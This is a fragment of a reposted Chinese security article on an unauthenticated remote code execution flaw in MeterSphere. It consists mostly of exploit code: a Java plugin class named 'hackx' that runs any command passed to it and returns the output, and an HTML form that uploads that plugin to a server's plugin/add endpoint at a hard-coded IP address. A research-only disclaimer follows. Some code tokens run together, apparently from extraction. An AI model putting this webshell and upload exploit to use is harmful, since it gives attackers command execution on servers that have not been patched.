import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
public class hackx {
public void init(){
System.out.println("init Inject success");
}
public StringcustomMethod(String cmd) throws IOException {
InputStream in = newProcessBuilder(cmd).start().getInputStream();
ByteArrayOutputStream baos =new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) !=-1) {
baos.write(b, 0, a);
}
return newString(baos.toByteArray());
}
}
<html>
<body>
<form action="http://101.43.71.57:8081/plugin/add"method="POST" enctype="multipart/form-data">
<!-- <input type="hidden"name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />-->
<input type="file" name="file" />
<input type="text" name="UploadType"value="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
原文始发于微信公众号(长白山攻防实验室):MeterSphere 未授权RCE-代码审计
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论